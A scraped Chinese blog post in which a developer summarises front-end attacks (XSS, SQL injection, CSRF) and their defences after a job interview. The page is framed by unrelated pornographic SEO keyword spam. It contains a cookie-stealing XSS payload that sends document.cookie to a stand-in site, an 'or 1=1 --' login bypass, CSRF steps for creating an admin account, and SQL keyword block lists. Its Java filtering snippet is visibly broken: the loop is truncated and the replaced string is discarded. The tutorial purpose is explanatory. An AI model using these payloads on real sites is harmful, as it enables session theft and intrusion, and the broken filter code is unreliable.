国产探花免费观看_亚洲丰满少妇自慰呻吟_97日韩有码在线_资源在线日韩欧美_一区二区精品毛片,辰东完美世界有声小说,欢乐颂第一季,yy玄幻小说排行榜完本

首頁 > 網站 > WEB開發 > 正文

前端安全問題

2024-04-27 15:06:29
字體:
來源:轉載
供稿:網友

今天去一家公司面試,這是我畢業之后的第一次跳槽面試。有點緊張,面試官問了一下關于前端安全的問題直接把我給問蒙住了。之前一直沒有太留意過這些方面的問題?;貋碇笞约赫伊诵┵Y料看了一下,做個總結,以防自己以后再遇到這些尷尬的問題。

1、XSS

XSS又叫CSS (Cross Site Script) ,跨站腳本攻擊。它指的是惡意攻擊者往Web頁面里插入惡意html代碼,當用戶瀏覽該頁之時,嵌入其中Web里面的html代碼會被執行,從而達到惡意用戶的特殊目的。(百度百科)

發生的原理:用戶輸入的數據變成了程序,并返回到客戶端執行。

分類:

1、Dom-Based XSS 漏洞 假設有個交友網站(http://xxx.com)存在該漏洞。 建立一個自己的網站(http://yyy.com) 構建一個惡意的URL,發送給其他用戶。

http://xxx.com/search.asp?user=<script>window.open("http://yyy.com?cookie="+document.cookie)</script>

用戶點擊之后會將他的的cookie發送到我們的網站服務器,從而得到用戶的信息。

2、Stored XSS(存儲式XSS漏洞) 假設某網站存在該漏洞 我通過上傳一片文章,并在文章中添加一下代碼。并將文章存儲到數據庫

<script>window.open("http://yyy.com?cookie="+document.cookie)</script>

這樣當其他用戶點開該文章的時候就會將他的cookie發送到我們的網站服務器

注:Dom-Based XSS漏洞威脅用戶個體,而存儲式XSS漏洞所威脅的對象將是大量的用戶

修復:

原則:不相信客戶輸入的數據 注意:攻擊代碼不一定在script中 1. 將重要的cookie標記為http only, 這樣的話javascript 中的document.cookie語句就不能獲取到cookie了。 2. 只允許用戶輸入我們期望的數據。 例如: 年齡的textbox中,只允許用戶輸入數字。 而數字之外的字符都過濾掉。 3. 對數據進行Html Encode 處理 4. 過濾或移除特殊的Html標簽, 例如: script,iframe等。 5. 過濾Javascript 事件的標簽。例如 “onclick=”, “onfocus” 等等。

參考: Web安全測試之XSS:http://www.cnblogs.com/TankXiao/archive/2012/03/21/2337194.html

2、SQL注入

所謂SQL注入,就是通過把SQL命令插入到Web表單提交或輸入域名或頁面請求的查詢字符串,最終達到欺騙服務器執行惡意的SQL命令。具體來說,它是利用現有應用程序,將(惡意)的SQL命令注入到后臺數據庫引擎執行的能力,它可以通過在Web表單中輸入(惡意)SQL語句得到一個存在安全漏洞的網站上的數據庫,而不是按照設計者意圖去執行SQL語句。[1] 比如先前的很多影視網站泄露VIP會員密碼大多就是通過WEB表單遞交查詢字符暴出的,這類表單特別容易受到SQL注入式攻擊。(百度百科)

場景模擬:

用戶表:users 用戶名和密碼:admin 123456 當我們輸入用戶名和密碼之后,程序查詢數據庫:

select count(*) from users where username='admin' and passWord='123456'

此時驗證通過,我們登錄成功。 假設我們不知道用戶名和密碼,我們輸入: 用戶名:test’ or 1=1 - - 密碼:123 此時產生的sql語句為:

select count(*) from users where username='test' or 1=1 - - and password='123'

兩個-注釋了后續的語句,這時候我們同樣可以登錄成功,獲取該用戶信息。 注:這只是最簡單的最理想化的場景 詳細請查看:http://www.jb51.net/hack/64764.html

如何預防:

盡量不要使用字符串拼接的方式連接SQL語句。 對于jsp來說:以PReparedStatement代替Statement。PreparedStatement是預編譯的,比Statement速度快。并且代碼的可讀性和可維護性;PreparedStatement盡最大可能提高性能;最重要的一點是極大地提高了安全性。 對于.NET來說:利用SqlCommand傳參數的方法string strSQL="SELECT * FROM [user] WHERE user_id=@id";SqlCommand cmd = new SqlCommand();cmd.CommandText = strSQL;cmd.Parameters.Add("@id",SqlDbType.VarChar,20).Value=Request["id"].ToString();限制用戶的數據區權限。用不同的用戶帳戶執行查詢、插入、更新、刪除操作。由于隔離了不同帳戶可執行的操作,因而也就防止了原本用于執行SELECT命令的地方卻被用于執行INSERT、UPDATE或DELETE命令。使用存儲過程進行數據庫操作檢驗用戶輸入數據的合法性,過濾掉一些特殊的字符或者是sql關鍵字// js校驗urlvar url = location.search;var re=/^/?(.*)(select%20|insert%20|delete%20from%20|count/(|drop%20table|update%20truncate%20|asc/(|mid/(|char/(|xp_cmdshell|exec%20master|net%20localgroup%20administrators|/"|:|net%20user|/|%20or%20)(.*)$/gi;var e = re.test(url);if(e) { alert("地址中含有非法字符~"); location.href="error.asp";}// .NET過濾sql關鍵字/// <summary>/// 過濾SQL語句,防止注入/// </summary>/// <param name="strSql"></param>/// <returns>0 - 沒有注入, 1 - 有注入 </returns>public int filterSql(string sSql){ int srcLen, decLen = 0; sSql = sSql.ToLower().Trim(); srcLen = sSql.Length; sSql = sSql.Replace("exec", ""); sSql = sSql.Replace("delete", ""); sSql = sSql.Replace("master", ""); sSql = sSql.Replace("truncate", ""); sSql = sSql.Replace("declare", ""); sSql = sSql.Replace("create", ""); sSql = sSql.Replace("xp_", "no"); decLen = sSql.Length; if (srcLen == decLen) return 0; else return 1; }// java過濾sql關鍵字public static String filterContent(String content){ String flt ="'|and|exec|insert|select|delete|update|count|*|%|chr|mid|master|truncate|char|declare|; |or|-|+|,"; Stringfilter[] = flt.split("|"); for(int i=0; i { content.replace(filter[i], ""); } return content; }將用戶登錄名稱、密碼等數據加密保存。檢查提取數據的查詢所返回的記錄數量。如果程序只要求返回一個記錄,但實際返回的記錄卻超過一行,那就當作出錯處理。

3、CSRF

CSRF(Cross-site request forgery跨站請求偽造,也被稱為“One Click Attack”或者session Riding,通??s寫為CSRF或者XSRF,是一種對網站的惡意利用。盡管聽起來像跨站腳本(XSS),但它與XSS非常不同,并且攻擊方式幾乎相左。XSS利用站點內的信任用戶,而CSRF則通過偽裝來自受信任用戶的請求來利用受信任的網站。與XSS攻擊相比,CSRF攻擊往往不大流行(因此對其進行防范的資源也相當稀少)和難以防范,所以被認為比XSS更具危險性。(百度百科)

場景模擬:

目的:注冊一個管理員賬戶 步驟: 1. 該網站(http://A.com)是采用某種已經搭建好基本框架的程序開發,并且未進行令牌(token)驗證 2. 下載該源碼框架,并找到管理員注冊界面(mananger.html)的html代碼。 3. 修改該html的內容,刪除不必要的代碼。將自己的信息賦值進去,并編寫js,當打開這個頁面的時候提交該表單。表單的action指向(http://A.com/mananger.html) 4. 構建自己的網站(http://B.com)并將B.html存放在自己的放在自己的網站中。 5. 通過站內消息向管理員發送一個鏈接(http://B.com/B.html) 6. 當管理員打開網站之后,就會立即提交我自己寫好的form表單。(因為此時管理員登錄了且其session并沒有失效) 7. 這時候我的管機員賬號就注冊成功了。 類似如下圖: 這里寫圖片描述

防御方式:

請求令牌(一種簡單有效的防御方法):

首先服務器端要以某種策略生成隨機字符串,作為令牌(token),保存在 Session 里。然后在發出請求的頁面,把該令牌以隱藏域一類的形式,與其他信息一并發出。在接收請求的頁面,把接收到的信息中的令牌與 Session 中的令牌比較,只有一致的時候才處理請求,處理完成后清理session中的值,否則返回 HTTP 403 拒絕請求或者要求用戶重新登陸驗證身份

注意:

雖然請求令牌原理和驗證碼有相似之處,但不應該像驗證碼一樣,全局使用一個 Session Key。因為請求令牌的方法在理論上是可破解的,破解方式是解析來源頁面的文本,獲取令牌內容。如果全局使用一個 Session Key,那么危險系數會上升。原則上來說,每個頁面的請求令牌都應該放在獨立的 Session Key 中。我們在設計服務器端的時候,可以稍加封裝,編寫一個令牌工具包,將頁面的標識作為 Session 中保存令牌的鍵。在 Ajax 技術應用較多的場合,因為很有請求是 JavaScript 發起的,使用靜態的模版輸出令牌值或多或少有些不方便。但無論如何,請不要提供直接獲取令牌值的 API。這么做無疑是鎖上了大門,卻又把鑰匙放在門口,讓我們的請求令牌退化為同步令牌。第一點說了請求令牌理論上是可破解的,所以非常重要的場合,應該考慮使用驗證碼(令牌的一種升級,目前來看破解難度極大),或者要求用戶再次輸入密碼(亞馬遜、淘寶的做法)。但這兩種方式用戶體驗都不好,所以需要產品開發者權衡。無論是普通的請求令牌還是驗證碼,服務器端驗證過一定記得銷毀。忘記銷毀用過的令牌是個很低級但是殺傷力很大的錯誤。我們學校的選課系統就有這個問題,驗證碼用完并未銷毀,故只要獲取一次驗證碼圖片,其中的驗證碼可以在多次請求中使用(只要不再次刷新驗證碼圖片),一直用到。

如下也列出一些據說能有效防范 CSRF,其實效果甚微或甚至無效的做法:

通過 referer 判定來源頁面:referer 是在 HTTP Request Head 里面的,也就是由請求的發送者決定的。如果我喜歡,可以給 referer 任何值。當然這個做法并不是毫無作用,起碼可以防小白。但我覺得性價比不如令牌。過濾所有用戶發布的鏈接:這個是最無效的做法,因為首先攻擊者不一定要從站內發起請求(上面提到過了),而且就算從站內發起請求,途徑也遠遠不知鏈接一條。比如 img src=”./create_post.php” 就是個不錯的選擇,還不需要用戶去點擊,只要用戶的瀏覽器會自動加載圖片,就會自動發起請求。在請求發起頁面用 alert 彈窗提醒用戶:這個方法看上去能干擾站外通過 iframe 發起的 CSRF,但攻擊者也可以考慮用 window.alert = function(){}; 把 alert 弄啞,或者干脆脫離 iframe,使用 Flash 來達到目的。

總體來說,目前防御 CSRF 的諸多方法還沒幾個能徹底無解的。 作為開發者,我們能做的就是盡量提高破解難度。當破解難度達到一定程度,網站就逼近于絕對安全的位置了

參考: 從零開始學CSRF:http://www.freebuf.com/articles/web/55965.html 漏洞科普:對于XSS和CSRF你究竟了解多少:http://www.freebuf.com/articles/web/39234.html

未完待續。。。


發表評論 共有條評論
用戶名: 密碼:
驗證碼: 匿名發表
主站蜘蛛池模板: 惠水县| 红原县| 阜平县| 新密市| 乐安县| 黔西| 含山县| 滁州市| 阿图什市| 英超| 舒城县| 文登市| 丰顺县| 家居| 绥中县| 嘉峪关市| 靖宇县| 上栗县| 永善县| 义马市| 景泰县| 新昌县| 时尚| 丹凤县| 克拉玛依市| 兴文县| 宜丰县| 五莲县| 米泉市| 青河县| 信阳市| 德江县| 六枝特区| 临洮县| 崇明县| 酒泉市| 桐乡市| 哈密市| 临潭县| 阜平县| 重庆市|